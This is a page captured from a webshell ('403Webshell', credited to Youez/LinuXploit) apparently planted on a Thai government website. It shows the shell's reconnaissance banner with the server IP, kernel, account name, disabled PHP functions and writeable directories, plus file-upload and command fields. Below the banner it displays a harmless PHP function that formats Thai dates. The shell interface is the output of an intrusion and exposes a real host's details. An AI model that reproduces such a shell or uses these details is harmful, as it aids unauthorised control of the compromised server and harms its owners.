403Webshell
Server IP : 43.241.58.20  /  Your IP : 216.73.216.25
Web Server : Apache/2
System : Linux ns1-1556229.dragonhispeed.com 3.16.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : ratsitne ( 1130)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ratsitne/domains/tessabalpatiu.go.th/public_html/lib/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ratsitne/domains/tessabalpatiu.go.th/public_html/lib/class/SC_dateThai.php
<?
function dateFormat($lang="th", $date="", $type="0") {
	if($date){
		$day=date("j",$date);
		$month=date("n",$date);			
		$year=date("Y",$date);
		// Th
		if($lang=="th"){
			$month=(int)$month-1;
			$year=$year+543;
			if($type=="1"){
				$thaimonth=array("มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฎาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม");
			}else{
				$thaimonth=array("ม.ค","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
			}
			$month=$thaimonth[$month];
		// En
		}else{
			if($type=="1"){
				$month=date("F",$date);
			}else{
				$month=date("M",$date);
			}
		}

		return(int)$day." ".$month." ".$year;
	}else{
		return "-";
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit